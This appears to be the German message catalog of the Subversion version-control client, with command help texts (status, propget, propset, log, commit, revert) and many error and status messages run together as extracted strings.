  »-u« fügt Arbeitsrevision und »veraltet«-Informationen des Servers hinzu.
  »-v« gibt vollständige Revisionsinformationen jedes Objektes aus.

Die ersten sieben Spalten der Ausgabe sind jeweils einen Buchstaben breit:
    Erste Spalte: Sagt aus, ob das Objekt hinzugefügt, gelöscht oder
                  in sonstiger Weise verändert wurde
      » « keine Änderungen
      »A« Added      - hinzugefügt
      »C« Conflicted - konfliktbehaftet
      »D« Deleted    - gelöscht
      »I« Ignored    - ignoriert
      »M« Modified   - verändert
      »R« Replaced   - ersetzt
      »X« nicht versioniertes, von »svn:externals«-Verweis erzeugtes Verzeichnis
      »?« Objekt ist nicht unter Versionskontrolle
      »!« Objekt fehlt (durch nicht-svn-Befehl entfernt) oder unvollständig
      »~« versioniertes Objekt von einem Objekt anderer Art behindert
    Zweite Spalte: Änderungen von Datei- oder Verzeichniseigenschaften
      » « keine Änderungen
      »C« Conflicted - konfliktbehaftet
      »M« Modified   - verändert
    Dritte Spalte: Arbeitsverzeichnis gesperrt - ja/nein
      » « nicht gesperrt
      »L« Locked     - gesperrt
    Vierte Spalte: Geplante Übertragung wird »Hinzufügen mit Historie«
                   enthalten
      » « Übertragung wird keine Historie enthalten
      »+« Übertragung wird Historie enthalten
    Fünfte Spalte: Wurde Objekt umgestellt oder ist ein externer Dateiverweis?
      » « normal
      »S« das Objekt hat eine umgeStellte URL relativ zu seinem Elternteil
      »X« eine von einem eXternen Verweis erzeugte versionierte Datei
    Sechste Spalte: Sperre im Projektarchiv
      (ohne -u)
      » « keine Sperre
      »K« Sperre vorhanden
      (mit -u)
      » « nicht gesperrt, keine Sperre vorhanden
      »K« gesperrt, Sperre vorhanden
      »O« gesperrt, Sperre in anderer Arbeitskopie
      »T« gesperrt, Sperre vorhanden, aber gestohlen
      »B« nicht gesperrt, Sperre vorhanden aber beschädigt
    Siebte Spalte: Ist das Objekt Opfer eines Baumkonflikts?
      » « normal
      »C« Baumkonflikt
    Falls das Objekt Opfer eines Baumkonflikts ist, wird eine zusätzliche
    Zeile nach der Statuszeile des Objekts ausgegeben, die Details zum
    Konflikt angibt.

  Die »veraltet«-Informationen erscheinen in der neunten Spalte (bei »-u«):
      »*« eine neuere Revision existiert auf dem Server
      » « die Arbeitskopie ist aktuell

  Die verbleibenden Felder haben eine variable Breite und werden mit
  Leerzeichen getrennt:
    die Arbeitsrevision (mit »-u« oder »-v«)
    die letzte übertragene Revision und der letzte übertragene Autor (mit »-v«)
    Das Arbeitsverzeichnis ist immer das letzte Feld, daher kann es Leerzeichen
      enthalten.

  Beispielausgabe:
    svn status wc
     M     wc/bar.c
    A  +   wc/qax.c

    svn status -u wc
     M           965    wc/bar.c
           *     965    wc/foo.c
    A  +         965    wc/qax.c
    Status gegenüber Revision:   981

    svn status --show-updates --verbose wc
     M           965       938 kfogel       wc/bar.c
           *     965       922 sussman      wc/foo.c
    A  +         965       687 joe          wc/qax.c
                 965       687 joe          wc/zig.c
    Status gegenüber Revision:   981

    svn status
     M      wc/bar.c
    !     C wc/qaz.c
          >   lokal fehlend, eingehend editiert bei Aktualisierung
    D       wc/qax.c
Gibt den Eigenschaftswert von Dateien, Verzeichnissen oder Revisionen aus.
Aufruf: 1. propget PROPNAME [ZIEL[@REV]...]
        2. propget PROPNAME --revprop -r REV [ZIEL]

  1. Gibt versionierte Eigenschaften in der Arbeitskopie aus.
     REV bestimmt, in welcher Revision zuerst nachgeschaut wird.
  2. Gibt eine nicht versionierte Eigenschaft im Projektarchiv aus.
     ZIEL legt nur das Projektarchiv fest, auf das zugegriffen wird.

  Standardmäßig hängt dieser Unterbefehl eine Leerzeile an das Ende der
  Eigenschaftswerte an, so dass die Ausgabe hübsch aussieht. Obendrein werden,
  wenn mehrere Pfade involviert sind, die Pfade den Eigenschaftswerten
  vorangestellt. Verwenden Sie die Option »--strict«, um diese Formatierungen
  abzuschalten (dies ist nützlich, um einen binären Eigenschaftswert in
  eine Datei umzuleiten, steht aber nur zur Verfügung, falls ein
  einzelnes ZIEL für eine nicht-rekursive propget-Operation angegeben
  wurde).
Problem mit dem ersten Log-Eintrag in einer ArbeitskopieProblem während der Ausführung des LogsProzess »%s« schlug fehl (Grund %d)Prozess »%s« hat Fehlerwert %d zurückgegebenEigenschafts-Diff Element ist keine ListeEigenschaften zu »%s«:
Eigenschaft »%s« ist eine EintragseigenschaftEigenschaft »%s« ist keine reguläre EigenschaftEigenschaft »%s« wurde in Pfad »%s« in Revision %ld nicht gefundenEigenschaft »%s« wurde in Pfad »%s« in Transaktion %s nicht gefundenEigenschaft »%s« wurde in Revision %ld nicht gefundenEigenschaft nicht gefundenEigenschaftselement ist keine ListeProtokollfehler: Die MERGE-Antwort für die »%s«-Ressource hat nicht alle angeforderten Eigenschaften zurück geliefert (und Übertragung muss beendet werden)Protokollfehler: Wir haben dem Server mitgeteilt, Ressourcen nicht automatisch zusammenzuführen, aber dieser behauptet, dass »%s« zusammengeführt wurdeStellt Dateien und Verzeichnisse unter Versionskontrolle und
plant sie zur Übertragung ins Projektarchiv ein.
Das tatsächliche Hinzufügen findet erst beim nächsten Übertragen statt.
Aufruf: add PFAD...
Eine Python-Ausnahme wurde mit dem Fehler gesetztAbfrage der Zusammenführungsinformationen erfordert Version %d des FSFS-Dateisystem-Schemas; Dateisystem »%s« verwendet nur Version %dZM-Schicht hat die angeforderte OPTIONS-Information nicht erhaltenZM-Schicht konnte keine HTTP-Anforderung erzeugenZM-Schicht konnte keine Eigenschaften bestimmenZM-Schicht konnte die Verbindungsschicht nicht initialisierenZM-Schichtdatei existiert bereitsZM-Schicht Anforderung gescheitertDie Abwicklung der REPORT-Antwort konnte den Editorlauf nicht vollenden.REVISION   PFAD
--------   ----
REVISION   PFAD <ID>
--------   ---------
Eindeutige Namen ausgegangenEinlesen der Bereichsliste endete vor dem ZeilenumbruchLesezugriff verweigert für Basis dieser ÄnderungLesefehler in »Pipe«Lese »%s«Lesen von der Standardeingabe ist nicht erlaubtLesen eines svndiff-Fensters las über Ende der Darstellung hinausWiederherstellung fand eine deltifizierte VerzeichnisrepräsentationWiederherstellung fand einen Nicht-VerzeichnisknotenRäumt die Arbeitskopie rekursiv auf, gibt Sperren frei,
nimmt unvollständige Operationen wieder auf, usw.
Aufruf: cleanup [PFAD...]
Verweis auf einen nicht existierenden Knoten »%s« in Dateisystem »%s«Reintegration kann nur genutzt werden, falls die Revisionen %ld bis %ld vorher von %s in die zurück integrierende Quelle zusammengeführt wurden, aber dies ist nicht der Fall:
%sRelative Quellrevision %ld ist im aktuellen Projektarchiv nicht verfügbar.Relocate kann nur den Projektarchivteil der URL ändernEntfernt den Status »konfliktbehaftet« von Dateien oder Verzeichnissen
in der Arbeitskopie.
Aufruf: resolved PFAD...

  Hinweis: Dieser Unterbefehl löst weder inhaltlich die Konflikte auf, noch
  entfernt er Konfliktmarken. Er löscht hauptsächlich die zum Konflikt
  gehörenden Dateien und ermöglicht es somit, dass das Verzeichnis PFAD wieder
  übertragen werden kann. Dies wird zugunsten von »svn resolve --accept
  working« missbilligt.
Entfernt eine Eigenschaft von Dateien, Verzeichnissen oder
Revisionen.
Aufruf: 1. propdel PROPNAME [PFAD...]
        2. propdel PROPNAME --revprop -r REV [URL]

  1. Entfernt eine versionierte Eigenschaft aus der Arbeitskopie.
  2. Entfernt eine nicht versionierte Eigenschaft aus dem Projektarchiv.
Entfernt Dateien und Verzeichnisse aus der
Versionskontrolle.
Aufruf: 1. delete PFAD...
        2. delete URL...

  1. Jeder PFAD wird zum Löschen bei der nächsten Übertragung
     markiert. Dateien und Verzeichnisse, die noch nicht übertragen
     wurden, werden sofort aus der Arbeitskopie entfernt, es sei denn,
     die Option --keep-local wurde angegeben.
     PFAD(e), die nicht versioniert oder geändert sind, bzw.
     entsprechende Einträge enthalten, werden nur gelöscht, wenn
     die Option »--force« angegeben wird.

  2. Jede URL wird mittels einer sofortigen Übertragung aus dem
     Projektarchiv entfernt.
Durch das Filtern geleerte Revisionen entfernen.Sperre für »%s« entfernt.
Entferne »%s« aus Änderungsliste »%s«.Revisionen nach dem Filtern neu nummerieren.Darstellung »%s« ist beides: veränderlich und kein VolltextDarstellung »%s« ist nicht veränderlichInhalt der Darstellung zu groß: »%s« erhalten, Grenze ist »%s«Ersetze        %s
Das Projektarchiv »%s« ist für die Synchronisation nicht initialisiertBasis des Projektarchivs: %s
Projektarchiv URL ist beim Import erforderlichUUID des Projektarchivs »%s« entspricht nicht der erwarteten UUID »%s«Die UUID des Projektarchivs entspricht nicht der erwarteten UUIDUUID des Projektarchivs: %s
Für diese Operation wird Zugang zum Projektarchiv benötigtZugriffsmethode zum Projektarchiv nicht implementiertProjektarchiv Parameter erforderlichProjektarchiv Parameter erforderlich
Anlegen des Projektarchivs schlug fehlProjektarchiv wurde verschobenProjektarchiv hat keine UUIDDas Projektarchiv lässt keine Änderungen an Revisionseigenschaften zu.
Bitten Sie den Administrator darum, eine Aktion »pre-revprop-change«
einzurichten.Exklusiven Zugriff auf das Projektarchiv erlangt
Bitte warten, die Wiederherstellung des Projektarchivs kann einige Zeit dauern ...
Exklusiven Zugriff auf das Projektarchiv erlangt
Bitte warten, die Aktualisierung des Projektarchivs kann einige Zeit dauern ...
Das Projektarchiv wurde permanent nach »%s« verschoben; bitte umplatzierenDas Projektarchiv wurde zeitweilig nach »%s« verschoben; bitte umplatzierenDie URL der Projektarchivwurzel entspricht nicht der erwarteten Wurzel-URLProjektarchivaktualisierung wird nicht unterstütztDarstellung wird geschriebenDarstellung ist nicht vom Typ »delta«Repräsentationsschlüssel für Prüfsumme »%%s« existiert im Dateisystem »%%s« mit einem anderen Wert (%%ld,%%%s,%%%s,%%%s) als der, der gespeichert werden soll (%%ld,%%%s,%%%s,%%%s)Repräsentationsschlüssel für Prüfsumme »%s« existiert im Dateisystem »%s«.Angefragte Tiefe »exclude« wird nicht unterstütztKommandozeilenparameter enthalten reservierten VerzeichnisnamenAuflösen von Konflikten in Arbeitskopiedateien oder -verzeichnissen.
Aufruf: resolve --accept=PAR [PFAD...]

  Bemerkung:  Die Option --accept wird zurzeit benötigt.
Konflikt von »%s« aufgelöst
Ressource ist nicht unter Versionskontrolle.Stellt eine Datei in der Arbeitskopie wieder her (macht die meisten
lokalen Änderungen rückgängig).
Aufruf: revert PFAD...

  Hinweis: Dieser Unterbefehl erfordert keinen Netzwerkzugriff und löst
  Konfliktzustände auf. Er kann jedoch keine gelöschten Verzeichnisse wieder
  herstellen.
Wieder hergestellt »%s«
Abfrage der Zusammenführungsinformationen wird von »%s« nicht unterstütztRückgängig gemacht: »%s«
Revision %ld als %ld übertragen.
Revision %ld passt nicht zur existierenden Revision %ld in »%s«Revision %ld hat eine Nicht-Datei, wo seine Revisionseigenschafts-Datei sein sollteRevision %ld hat eine Revisions-Datei aber keine Revisionseigenschafts-DateiRevision: »%ld« übersprungen
Die aktuell kopierte Revision (%ld), zuletzt zusammengeführte Revision (%ld) und Ziel-HEAD (%ld) sind inkonsistent. Haben Sie in das Ziel ohne Verwendung von svnsync übertragen?Revisionseintrag ist keine ListeRevisionsdatei »%s« existiert nicht und r%ld ist nicht gepacktRevisionsdatei hat keinen abschließenden ZeilenumbruchRevisionseigenschaft »%s« ist in diesem Kontext nicht erlaubtRevisionseigenschaftspaar ist leerRevisionsbereich nicht erlaubtRevisionstyp erfordert einen Arbeitskopiepfad, keine URLRevision: %ld
Revisionen dürfen nicht größer als die Endrevision (%ld) seinRevisionen folgendermaßen neu nummeriert:
Ändern einer RevisionseigenschaftBasisobjekt muss eine Transaktionsbasis seinSHA1-Prüfsummenfehler auf Darstellung »%s«:
   Erwartet:    %s
   Tatsächlich: %s
SQLite wurde für %s kompiliert, läuft aber mit %sSQLite-FehlerEs wird erwartet, dass SQLite im Thread-sicheren Modus kompiliert und gestartet wirdSSL wird nicht unterstütztAuf sichere Daten »%s« folgte ein nicht-ASCII Byte %d, das nicht von/nach UTF-8 konvertiert werden konntePlan: hinzufügen
Plan: löschen
Plan: normal
Plan: ersetzen
Schema-Format %d wird nicht erkanntBereich ist im »memcache«-Server »%s« nicht erlaubtEine zweite Revision muss angegeben werdenAuswahl: (p) zurückstellenAuswahl: (p) zurückstellen, (mf) volle eigene Datei, (tf) volle fremde Datei, (h) Hilfe:Überträgt Änderungen Ihrer Arbeitskopie ins Projektarchiv.
Aufruf: commit [PFAD...]

  Eine Logmeldung muss angegeben werden; diese kann jedoch leer sein. Wird
  sie nicht mittels einer --message- oder --file-Option übergeben, wird ein
  Editor gestartet.
  Falls Objekte gesperrt sind oder gesperrte Objekte enthalten, werden diese
  nach einer erfolgreichen Übertragung entsperrt.
Sende          %s
Server-SSL-Zertifikat ist nicht vertrauenswürdigDer Server kann nur von der Basis des Projektarchivs fortfahrenServer gab keine Projektarchivbasis zurückServer unterstützt benutzerdefinierte Revisionseigenschaften mittels log nichtServer unterstützt keine datumsbasierten OperationenServer unterstützt »edit pipelining« nichtServer unterstützt keine SperroperationenServer unterstützt die Abfrage von Informationen über die Projektarchivwurzel nichtDer Server unterstützt das Setzen beliebiger Revisionseigenschaften während eines Commits nichtServer unterstützt das Kommando »get-lock« nichtServer unterstützt das Kommando »lock« nichtServer unterstützt das Kommando »replay« nichtServer unterstützt das Kommando »replay-range« nichtServer unterstützt das Kommando »unlock« nichtServer unterstützt nur Versionen bis zu %dServer erfordert mindestens Version %dDie Serverantwort enthält die erwartete Eigenschaft »deadprop-count« nichtDer Server hat einen unerwarteten Rückgabewert (%d %s) in Antwort auf die Anfrage %s für »%s« zurückgeliefertBasis der Sitzung ist »%s«, aber die Basis des Projektarchivs ist »%s«Neuer Wert für Eigenschaft »%s« für »%s« gesetzt
Neuen Wert für Eigenschaft »%s« in Revision %ld gesetzt
Setzt den Wert einer Eigenschaft von Dateien, Verzeichnissen
oder Revisionen
Aufruf: 1. propset PROPNAME PROPWERT PFAD...
        2. propset PROPNAME --revprop -r REV PROPWERT [ZIEL]

  1. Ändert eine versionierte Datei- oder Verzeichniseigenschaft in der
     Arbeitskopie.
  2. Ändert eine nicht versionierte Eigenschaft in einer Revision des
     Projektarchivs. (ZIEL legt nur das Projektarchiv fest, auf das
     zugegriffen wird.)

  Der Wert kann mit der Option --file statt PROPWERT angegeben werden.

  Hinweis: svn erkennt die folgenden speziellen, versionierten Eigenschaften,
  wird aber jede gesetzte Eigenschaft speichern:
    svn:ignore    - Eine durch Zeilenumbruch getrennte Liste von zu
                    ignorierenden »glob«-Dateimustern.
    svn:keywords  - Schlüsselworte, die expandiert werden sollen.
                    Gültige Schlüsselworte sind:
      URL, HeadURL           - Die URL für die Head-Version des Objektes.
      Author, LastChangedBy  - Die letzte Person, die die Datei geändert hat.
      Date, LastChangedDate  - Datum/Zeit der letzten Änderung.
      Rev, Revision,         - Die letzte Revision, in der das Objekt
      LastChangedRevision      geändert wurde.
      Id                     - Eine komprimierte Zusammenfassung der vier
                               genannten Schlüsselworte.
      Header                 - Ähnlich zu Id, enthält aber die volle URL.
    svn:executable - Falls vorhanden, wird die Datei ausführbar gemacht.
      Verwenden Sie »svn propdel svn:executable PFAD...« zum Entfernen.
    svn:eol-style  - Eins aus »native«, »LF«, »CR«, »CRLF«.
    svn:mime-type  - Der MIME-Typ der Datei. Verwendet, um festzustellen, ob
      die Datei zusammengeführt werden kann und wie sie von Apache übertragen
      werden soll. Dateien ohne MIME-Typ oder deren MIME-Typ mit »text/«
      beginnt, werden als Text behandelt. Alles andere wird als binär angesehen.
    svn:externals  - Eine durch Zeilenumbruch getrennte Liste von
      Modulnamen, die jeder aus einem relativen Verzeichnispfad, optionalen
      Revisionsmarkern und einer URL bestehen. Die Reihenfolge der drei
      Elemente führt zu verschiedenem Verhalten. Subversion 1.4 und älter
      unterstützt nur die folgenden Formate und die URLs können keine
      Peg-Revisionen haben:
        foo             http://example.org/repos/zig
        foo/bar -r 1234 http://example.org/repos/zag
      Subversion 1.5 und neuer unterstützt die obigen Formate und die
      folgenden, wobei die URLs Peg-Revisionen enthalten dürfen:
                http://example.com/repos/zig foo
        -r 1234 http://example.com/repos/zig foo/bar
      Relative URLs werden in Subversion 1.5 und neuer für alle obigen
      Formate unterstützt und werden durch eine URL gekennzeichnet, die
      mit einem der folgenden Zeichenketten startet und
        ../  auf das übergeordnete Verzeichnis des extrahierten Externals
        ^/   auf die Wurzel des Projektarchivs
        //   auf das Schema
        /    auf die Wurzel des Servers
      verweist.
      Das mehrdeutige Format »relativer_Pfad relativer_Pfad« wird als
      »relative_URL relativer_Pfad« mit Peg-Revisionsunterstützung gedeutet.
    svn:needs-lock - Wenn vorhanden, soll die Datei gesperrt werden, bevor sie
      verändert wird. Setzt den Schreibschutz der Arbeitsdatei, wenn sie nicht
      gesperrt ist. Verwenden Sie »svn propdel svn:needs-lock PFAD...« zum
      Entfernen.

  Die Eigenschaften svn:keywords, svn:executable, svn:eol-style, svn:mime-type
  und svn:needs-lock können nicht für Verzeichnisse gesetzt werden.
  Ein nicht-rekursiver Versuch wird scheitern und ein rekursiver Versuch wird
  die Eigenschaft nur für die Dateien in dem Verzeichnis setzen.
Das Setzen der Eigenschaft »%s« für ein nicht lokales Ziel »%s« wird nicht unterstütztDas Setzen einer Eigenschaft für ein nicht lokales Ziel »%s« benötigt eine BasisrevisionDas rekursive Setzen einer Eigenschaft für ein nicht lokales Ziel »%s« wird nicht unterstütztZeigt die Logmeldungen für eine Menge von Revisionen und/oder Dateien.
Aufruf: 1. log [PFAD]
        2. log URL[@REV] [PFAD...]

  1. Gibt die Logmeldungen für einen lokalen PFAD aus (Vorgabe: ».«).
     Die Vorgabe für den Revisionsbereich ist BASE:1.

  2. Gibt die Logmeldungen für die PFADe (Vorgabe: ».«) unterhalb der URL aus.
     Falls angegeben, bestimmt REV, in welcher Revision die URL zuerst
     durchsucht wird und der Standardrevisionsbereich ist REV:1. Andernfalls
     wird die URL in HEAD gesucht und die Vorgabe für den Revisionsbereich
     ist HEAD:1.

  Mehrere »-c«- oder »-r«-Optionen dürfen angegeben werden (aber keine
  Kombination von »-c« und »-r«) und das Mischen von vor- und
  rückwärtigen Bereichen ist erlaubt.

  Mit -v werden auch die betroffenen Pfade mit jeder Logmeldung ausgegeben.
  Mit -q wird die Logmeldung selbst nicht ausgegeben (Hinweis: Diese Option
  ist kompatibel mit -v).

  Jede Logmeldung wird nur einmal ausgegeben, selbst wenn mehr als einer
  der betroffenen Pfade explizit angefragt wurde. Logs folgen per Vorgabe
  der Historie von Kopien. Benutzen Sie »--stop-on-copy«, um dieses Verhalten,
  z.B. zum Auffinden von Verzweigungen, zu deaktivieren.

  Beispiele:
    svn log
    svn log foo.c
    svn log http://www.example.com/repo/projekt/foo.c
    svn log http://www.example.com/repo/projekt foo.c bar.c
Die Größe der unkomprimierten Daten entspricht nicht der gespeicherten OriginallängeFehlende Zusammenführungsquellen übersprungen.Überspringe »%s«
Fehlendes Ziel: »%s« übersprungen
Überspringe Binärdatei: »%s«
Mit dem Inhalt der Logmeldung stimmt etwas nichtsvn_client_diff4 wurde in einer Art aufgerufen, die noch nicht unterstützt wirdQuelle  linksQuelle »%s« ist kein VerzeichnisUUID des Quellprojektarchivs: %s
Quell URL »%s« ist aus einem fremden Projektarchiv; lasse sie als getrennte ArbeitskopieQuell-URL: %s
Quelle und Ziel scheinen sich nicht im selben Projektarchiv zu befinden (Quelle: »%s«; Ziel: »%s«)Quelle rechtsQuell URL »%s« stammt aus einem fremden ProjektarchivSpezieller Fehlerkode, um Serverfehler an den Client zu meldenStandardeigenschaften können nicht explizit als Revisionseigenschaften gesetzt werdenStartrevision %ld ist größer als Endrevision %ldStartrevision muss vor der Endrevision liegenStatus bezogen auf Revision: %6ld
Das Speichern der speziellen Eigenschaft »%s« wird vom Projektarchiv verhindert und könnte auf einen Bug in Ihrem Client hindeutenPassphrase unverschlüsselt speichern (ja/nein)? Passwort unverschlüsselt speichern (ja/nein)? Strikte Ausgabe von Eigenschaftswerten ist nur für einzelne Ziele und nicht-rekursive propget-Operationen verfügbarZeichenkette stellt keinen Knoten oder keine Knotenrevisions-Id darStringlänge größer als MaximumUnterbefehl »%s« akzeptiert die Option »%s« nicht
Geben Sie »svn help %s« für Hilfe ein.
Unterbefehl »%s« akzeptiert die Option »%s« nicht
Geben Sie »svnadmin help %s« ein, um Hilfe zu erhalten.
Unterbefehl »%s« akzeptiert die Option »%s« nicht
Geben Sie »svndumpfilter help %s« für Hilfe ein.
Unterbefehl »%s« akzeptiert die Option »%s« nicht
Geben Sie »svnlook help %s« ein, um Hilfe zu erhalten.
Unterbefehl »%s« akzeptiert die Option »%s« nicht
Geben Sie »svnsync help %s« für Hilfe ein.
Unterbefehl benötigt einen Parameter
Subversion ist ein Programm zur Versionskontrolle.
Für weitere Informationen, siehe: http://subversion.tigris.org/
Status für erfolgreiche Bearbeitung wurde zu früh zurückgegebenNachfolger ID »%s« (für »%s«) existiert bereits in Dateisystem »%s«Die Summe der Größen der Unterblöcke überschreitet die gesamte BlocklängeZusammenfassender Vergleich kann nur ein Projektarchiv mit einem Projektarchiv vergleichenKonfliktübersicht für externen Verweis:
Konfliktübersicht:
Komprimierte svndiff-Daten sind ungültigSvndiff-Daten enthalten defektes FensterSvndiff-Daten enthalten rückwärts gleitenden Blick auf QuellenSvndiff-Daten enthalten defektes FensterSvndiff-Daten enthalten ungültige AnweisungSvndiff-Daten enden unerwartetSvndiff-Daten enthalten ungültigen KopfSvndiff-Daten enthalten rückwärts gleitenden Blick auf QuellenSvndiff-Daten enthalten ungültigen KopfSvndiff Quelllänge ist inkonsistentSymbolische Verweise werden auf dieser Plattform nicht unterstütztSyntaxfehler im »native-eol« Parameter »%s«Syntaxfehler in Revisionsparameter »%s«Syntaxfehler bei der Analyse der Revision »%s«Ziellisten für Vergleiche dürfen nicht gleichzeitig Arbeitskopien und URLs enthaltenZielpfad »%s« existiert nichtTest schlug fehlTest übersprungenText zuletzt geändertText-Deltastück ist kein StringDie %s-Anfrage gab in der Antwort ungültiges XML zurück: %s (%s)Das Merkmal »%s« erfordert Version %d des Dateisystemschemas; Dateisystem »%s« verwendet nur Version %dDie Parameter »--transaction« (-t) und »--revision« (-r) können nicht
gleichzeitig angegeben werdenDie CHECKOUT-Antwort enthielt keinen »Location:« KopfDie Umgebungsvariable EDITOR, SVN_EDITOR oder VISUAL oder die Laufzeitkonfigurationsoption »editor-cmd« ist leer oder besteht nur aus Leerzeichen. Erwartete ein Shell-Kommando.Die MERGE-Eigenschaftsantwort hatte einen FehlerstatusDie OPTIONS-Anfrage gab in der Antwort ungültiges XML zurück: %s (%s)Die OPTIONS-Antwort enthielt nicht den angeforderten Wert »activity-collection-set«Die OPTIONS-Antwort enthielt nicht das angeforderte »activity-collection-set«; dies heißt oft, dass die URL nicht WebDAV-fähig istDie OPTIONS-Antwort enthielt nicht den angeforderten Wert »baseline-collection«Die OPTIONS-Antwort enthielt nicht den angeforderten Wert »checked-in«Die OPTIONS-Antwort enthielt nicht den angeforderten Wert »resourcetype«Die OPTIONS-Antwort enthielt nicht den angeforderten Wert »version-controlled-configuration«Die OPTIONS-Antwort enthielt nicht den angeforderten Wert »version-name«Die PROPFIND-Antwort enthielt nicht den angeforderten Wert »resourcetype«Die Umgebungsvariable SVN_MERGE ist leer oder besteht nur aus Leerzeichen. Erwartete ein Shell-Kommando.
Die URL »%s« hat eine andere Projektarchiv-Basis als ihr VorgängerDie UUID-Eigenschaft wurde weder auf der Ressource noch ihren Eltern gefunden.Die VCC Eigenschaft wurde in der Ressource nicht gefundenDie Umgebungsvariable SVN_MERGE und die Laufzeitkonfigurationsoption merge-tool-cmd wurden nicht gesetzt.
Die externe relative URL »%s« darf keinen Verweis auf übergeordnete Pfade haben, d.h. »..«Die Datei »%s« veränderte sich unerwartet während des VergleichsDer externe Dateiverweis von »%s« kann nicht in »%s« geschrieben werden, solange »%s« in Konflikt stehtDer externe Dateiverweis von »%s« kann nicht das existierende versionierte Objekt bei »%s« überschreibenDer Report »file-revs« enthielt keine RevisionenDie folgenden ZugriffsModule (ZM) für Projektarchive stehen zur Verfügung:

Die folgenden Dateisystemmodule für Projektarchive stehen zur Verfügung:

Der erzeugte Transaktionsname ist zu langDer »get-file-revs« Befehl gab keine Revisionen zurückDie neueste Revision des Projektarchivs ist %ld.
»%s« für Revision %ld existiert nicht im Projektarchiv oder verweist auf ein nicht verwandtes ObjektDer Sperrkommentar ist ein Pfad (war -F gemeint?); geben Sie »--force-log« an, um ihn zu verwendenDie Datei für die Logmeldung ist unter VersionskontrolleDie Logmeldung ist ein PfadnameDie Logmeldung ist ein Pfad (war -F gemeint?); geben Sie »--force-log« an, um sie zu verwendenDie Operation wurde unterbrochenDer Pfad war kein Teil eines ProjektarchivsDie »relative-path« Eigenschaft wurde in der Ressource nicht gefundenDas Projektarchiv in »%s« hat die uuid »%s«, aber die Arbeitskopie hat »%s«Das Projektarchiv ist gesperrt, möglicherweise zum Retten der DatenbankDie Antwort auf die Anfrage enthielt zumindest einen FehlerDie Antwort enthält eine nicht konforme HTTP-StatuszeileDas Basisverzeichnis kann nicht gelöscht werdenDer Dienst konnte nicht gestartet werdenDer Dienst konnte nicht gestartet werden; ein interner Fehler trat beim Starten des Dienstes aufDie angegebene Vergleichsoption wird nicht unterstütztDie spezifizierte Transaktion ist nicht veränderlichEs existiert bereits ein versioniertes Objekt »%s«Es gibt keine Änderung 0Versuch, den Wert der Eigenschaft auf »%s« zu ändern, aber die Eigenschaft soll gelöscht werden.
Versuch, die Eigenschaft zu löschen, aber der Wert soll auf »%s« gesetzt werden.
Der Client ist zu alt, um mit der Arbeitskopie »%s« zusammen zu arbeiten.
Sie benötigen einen neueren Subversion-Client oder müssen diese Arbeitskopie
auf eine ältere Version zurücksetzen. Vergleiche
http://subversion.tigris.org/faq.html#working-copy-format-change
für Details.Dies ist eine leere Revision zum AuffüllenUm die Eigenschaft %s abzuschalten, ist »svn propdel« zu verwenden;
setzen der Eigenschaft auf »%s« wird sie nicht ausschalten.Marke »%s« zeigt auf keine existierende Sperre im Dateisystem »%s«Zu viele Parameter angegebenZu viele Parameter für Import BefehlZu viele verschachtelte ObjekteTransaktion »%s« ist nicht von einer Revision abgeleitet, wie eigenartigTransaktion »%s« ist in Bezug auf Revision »%s« veraltetTransaktion »%s« entfernt.
Transaktion abgebrochen, aber Aufräumen schlug fehlAufräumen der Transaktion schlug fehlTransaktion ist totTransaktion ist tot: »%s«Transaktion ist nicht totTransaktion ist nicht tot: »%s«Transaktion ist veraltetTransaktion ist veraltetÜbertrage Daten Durchlauf von »%s« fand keine äußere TiefeBaumkonfliktVersuchte, eine Versionsoperation auf nicht versionierter Ressource auszuführenVersuchte, eine nicht-veränderliche Darstellung zu ändernVersuchen Sie »svn add« oder »svn add --non-recursive«.Versuchen Sie »svn help« für weitere InformationenVersuchen Sie »svn mkdir --parents« stattdessen?Versuchen Sie »svn revert --depth infinity« stattdessen?Geben Sie »svnadmin help« für weitere Hilfe einVersuchen Sie »svndumpfilter help« für weitere InformationenVersuchen Sie »svnlook help« für weitere InformationenVersuchen Sie »svnsync help« für weitere InformationenVersuch, eine neue Eigenschaft »%s« mit dem Wert »%s« anzulegen,
aber die Eigenschaft existiert bereits mit dem Wert »%s«.Versuch, die Eigenschaft »%s« von »%s« in »%s« zu ändern,
aber die Eigenschaft wurde lokal gelöscht.Versuch, die Eigenschaft »%s« von »%s« in »%s« zu ändern,
aber die Eigenschaft existiert bereits mit dem Wert »%s«.Versuch, die Eigenschaft »%s« von »%s« in »%s« zu ändern,
aber die Eigenschaft wurde lokal mit dem Wert »%s« hinzugefügt.Versuch, die Eigenschaft »%s« von »%s« in »%s« zu ändern,
aber die Eigenschaft existiert nicht.Versuch, die Eigenschaft »%s« von »%s« in »%s« zu ändern,
aber die Eigenschaft wurde lokal von »%s« in »%s« geändert.Versuch, die Eigenschaft »%s« mit dem Wert »%s« anzulegen,
aber die Eigenschaft wurde lokal bereits gelöscht.Versuch, die Eigenschaft »%s« mit dem Wert »%s« zu löschen,
aber der Wert wurde von »%s« in »%s« geändert.Versuch, die Eigenschaft »%s« mit dem Wert »%s« zu löschen,
aber der lokale Wert ist »%s«.Versuch, ein nicht unterstütztes Merkmal zu benutzenFür Tunnelschema %s muss die Umgebungsvariable %s definiert seinZwei oberste Reports ohne ZielangabeZwei versionierte Ressourcen sind nicht verwandtGeben Sie »%s --help« für weitere Hilfe ein.
Geben Sie »%s help« für weitere Hilfe ein.
Geben Sie »svnversion --help« für weitere Hilfe ein.
URL »%s« existiert nicht in Revision %ldURL »%s« in Revision %ld ist weder eine Datei noch ein VerzeichnisURL »%s« enthält ein »..« ElementDie URL »%s« beginnt nicht mit einem SchemaDie URL »%s« existiert nichtURL »%s« stimmt nicht mit der existierenden URL »%s« in »%s« übereinURL »%s« ist fehlerhaft oder das Schema, der Rechner oder Pfad fehltDie URL »%s« ist kein Kind der Projektarchivwurzel-URL »%s«URL »%s« ist kein Kind der Projektarchivwurzel-URL »%s« der SitzungURL »%s« ist nicht korrekt URI-kodiertURL »%s« existiert nicht in Revision %ldURL »%s« existiert nicht in dieser RevisionURL »%s« des existierenden Verzeichnisses »%s« entspricht nicht der erwarteten URL »%s«URL »%s« der existierenden Datei »%s« entspricht nicht der erwarteten URL »%s«URL »%s« verweist auf auf ein VerzeichnisDie URL »%s« verweist auf eine Datei, nicht auf ein VerzeichnisURL-Zugriff wegen unbekannter Ursache verbotenURL hat kein Schema: »%s«URL: %s
Die URLs haben kein Schema (»%s« und »%s«)UUID-Marke: %s
